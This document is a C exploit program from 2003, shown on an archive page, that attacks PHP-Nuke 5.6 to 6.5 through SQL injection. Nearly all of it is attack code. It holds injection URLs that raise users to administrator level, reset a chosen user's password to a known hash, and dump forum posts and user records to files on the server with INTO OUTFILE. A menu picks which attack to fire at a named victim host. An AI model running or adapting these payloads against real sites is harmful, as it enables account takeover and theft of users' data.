home *** CD-ROM | disk | FTP | other *** search
- /*
- * UHAGr produce UHAGr-V2phpnuke
- * This exploit is the version 2
- * of the phpexploit with new bugs
- * and targets for phpnuke!
- * This exploit may use the lynx broswer!
- * PHP-Nuke vulnerable versions are:
- * 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5
- * date 3/4/2003
- * public lame code and proof of concept
- * Greets: All UHAGr members,PyRiNI,
- * uscrew && priv8security team.
- *
- * UHAGr.org
- * extraneous@uhagr.org
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <string.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
-
- #define PORT 80
- #define MAX 148
- #define LYNX "/usr/bin/lynx"
- #define EXPL1 "/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4"
- #define EXPL2 "/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4"
- #define EXPL3 "/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4"
- #define EXPL4 "modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='"
- #define EXPL5 "/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'"
- #define EXPL5_CON "/vt.txt"
- #define EXPL6 "/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'"
- #define EXPL6_CON "/vf.txt'/*"
- #define EXPL7 "/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'"
- #define EXPL7_CON "/reply.txt'/*"
- #define EXPL8 "/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'"
- #define EXPL8_CON "/newtopic.txt'/*"
- #define EXPL9 "/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'"
- #define EXPL9_CON "/editpost.txt"
- #define XPL10 "/modules.php?name=Private_Messages&file=reply&send=1&uname='%20OR%201=1%20INTO%20OUTFILE%20'"
- #define XPL10_CON "users.txt"
- #define EXPL4_CON "'/*"
-
- int out(void)
- {
- printf("Give me the path without file name\n"
- "ex: /uhagr/\n"
- "that you would like to save this file...:");
- }
-
- int main(int argc, char *argv[])
- {
- int sindesi, bytes, choice;
- char buf[MAX];
- char sinolo[1024];
- char pathi1[80];
- char bob[30];
- char file[50];
- struct hostent *he;
- struct sockaddr_in their_addr;
- choice = 1;
- if (argc != 2) {
- fprintf(stderr,"UHAGr development team produce\nphp nuke v2 exploit 5.6 6.5 by extraneous\nRisk:average\nusage:./UHAGR-phpnuke <victim>\n");
- exit(1);
- }
-
- if ((he=gethostbyname(argv[1])) == NULL) {
- perror("gethostbyname");
- exit(1);
- }
-
- bzero (&their_addr, sizeof (their_addr));
- bcopy (he->h_addr, (char *) &their_addr.sin_addr, he->h_length);
- their_addr.sin_family = he->h_addrtype;
- their_addr.sin_port = htons (80);
-
- if ((sindesi = socket(he->h_addrtype, SOCK_STREAM, 0)) < 0) {
- perror("socket");
- exit(1);
- }
-
- if (connect(sindesi, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0) {
- perror("connect");
- exit(1);
- }
-
- printf( "Choose:\nvulnerable systems:5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5\nNew's vulnerabilities\n[1]mode\n[2]order\n[3]thold\n[4]change the passwd\n"
- "vulnerable systems:6.0, 6.5 RC2\nForum's vulnerabilities\n[5]change view topic\n[6]change view forum\n[7]change reply forum\n"
- "[8]change new topic\n[9]edit post forum\n[0]save all users info into a file\n"
- "I am waiting for a number...:");
-
- choice = getchar();
- switch (choice){
- case '1':
- strcat(sinolo,EXPL1);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '2':
- strcat(sinolo, EXPL2);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '3':
- strcat(sinolo, EXPL3);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '4':
- printf("Give me the name of the user that you want to change his/her passwd!\n");
- scanf("%s",&bob);
- strcat(sinolo, EXPL4);
- strcat(sinolo,bob);
- strcat(sinolo,EXPL4_CON);
- write(sindesi, sinolo,sizeof(sinolo));
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '5':
- out();
- strcat(sinolo, EXPL5);
- strcat(sinolo, pathi1);
- strcat(sinolo, EXPL5_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '6':
- out();
- scanf("%s",&pathi1);
- strcat(sinolo, EXPL6);
- strcat(sinolo, pathi1);
- strcat(sinolo, EXPL6_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '7':
- out();
- scanf("%s",&pathi1);
- strcat(sinolo, EXPL7);
- strcat(sinolo, pathi1);
- strcat(sinolo, EXPL7_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '8':
- out();
- scanf("%s",&pathi1);
- strcat(sinolo, EXPL8);
- strcat(sinolo, pathi1);
- strcat(sinolo, EXPL8_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '9':
- out();
- scanf("%s",&pathi1);
- strcat(sinolo, EXPL9);
- strcat(sinolo, pathi1);
- strcat(sinolo, EXPL9_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- case '0':
- out();
- scanf("%s",&pathi1);
- strcat(sinolo, XPL10);
- strcat(sinolo, pathi1);
- strcat(sinolo, XPL10_CON);
- if((execl(LYNX,"%s",sinolo,0)) == -1)
- {perror("execl()");}
- break;
-
- default:
- printf("Try again.....\n");
- break;
- }
-
- close(sindesi);
- return 0;
- }
-